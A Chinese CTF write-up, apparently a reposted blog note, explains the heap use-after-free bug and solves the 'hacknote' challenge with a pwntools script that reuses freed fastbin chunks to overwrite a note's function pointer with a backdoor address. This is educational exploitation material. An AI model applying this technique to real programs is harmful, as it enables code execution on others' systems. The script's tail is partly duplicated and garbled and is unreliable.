堆学习笔记-UAF

我的学习笔记大量都是基于CTF-WIKI。

UAF,Use After Free的缩写,是一种常见漏洞。

原理

Use After Free意如其名,是一个内存漏洞,当一个内存块被释放后又被使用,有以下几种情况:

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

例题

链接:https://pan.baidu.com/s/1ItYklH0FyT0CNrs7Jjumuw
提取码:F1re

首先纵观全局,调试一下后,还原一下结构体:

struct note {
    
    
  void (*printnote)();
  char *content;
};

分析一下,系统一共有几个函数:

①:addnote: 系统先申请一个0x10的结构体,其中前八个字节拿来存放prev_size和size,后八个字节拿来存放两个地址,分别是结构体里函数的地址和content所在的地址。接着用户可以申请一个自定义大小的堆块,拿来存放content数据。

②:printnote:代码如下,会去print出结构体第二个指针指向的地址里的内容,也就是content的内容。

return puts(*(const char **)(a1 + 4));

③:del_note:漏洞出现的地方,程序在free后没有把指针置为NULL。存在UAF漏洞。

④:print_note:调用printnote函数输出content内容。

以及系统有一个后门函数magic

return system("cat flag");

那思路就很明确了,我们需要控制程序流程到该后门函数。目的也很明确了,只能去改写结构体里函数的地址为后门函数地址。

具体思路

①:首先创建两个note:note0与note1,这两个note的size大小只要不与0x8相同就行。这里我申请的0x10

原因:避免后期申请note2的时候取note0或者note1的content堆段,就达不到修改结构体里指针的效果。

效果:1

②:先free掉note0,再free掉note1。

原因:注意note0与note1里都有0x10大小的堆块和0x content size大小的堆块。具体为什么要先free掉note0再free掉note1后面一起说。

效果:2

同时现在fastbin里出现了相应的空闲堆块。

3

③:再申请一个0x8大小的note3。

由于创建用户申请的堆块前会申请一个结构体:

*(&notelist + i) = malloc(8u);

这个堆块会直接从fastbin里取一块0x10大小的堆块。

fastbin的每个 bin 采取 LIFO 策略,最近释放的 chunk 会更早地被分配

由于print_note有检查非空机制:

if ( *(&notelist + v1) )
    (*(void (__cdecl **)(_DWORD))*(&notelist + v1))(*(&notelist + v1));

因此我们最终是只能print note0的,所以我们的就得修改note0结构体堆块里的指针,因此我们之前需要后delete note1,让note1的空闲堆块先被分配,接下来才是把note0的空闲堆块分给content。也就是说,现在我们把note0的指针段变成了note3的content,因此可以修改。

exp:

from pwn import*
context.log_level = 'debug'
r=process('/mnt/hgfs/ubuntu/hacknote')

def  addnote(size,content):
    r.sendlineafter("Your choice :",b'1')
    r.sendlineafter("Note size :",str(size))
    r.sendlineafter("Content :",content)

def delete(id):
    r.sendlineafter("Your choice :",b'2')
    r.sendlineafter("Index :",str(id))

def printnote(id):
    r.sendlineafter("Your choice :",b'3')
    r.sendlineafter("Index :",str(id))


addnote(0x10,b'N1rvana')
addnote(0x10,b'Nirvana')
delete(0)
delete(1)
magic_addr = 0x08048986
payload = p32(magic_addr)*2
addnote(8,payload)
gdb.attach(r)
pause()
printnote(0)
r.interactive()


dr = 0x08048986
payload = p32(magic_addr)*2
addnote(8,payload)
gdb.attach®
pause()
printnote(0)
r.interactive()


猜你喜欢

转载自blog.csdn.net/Invin_cible/article/details/121326489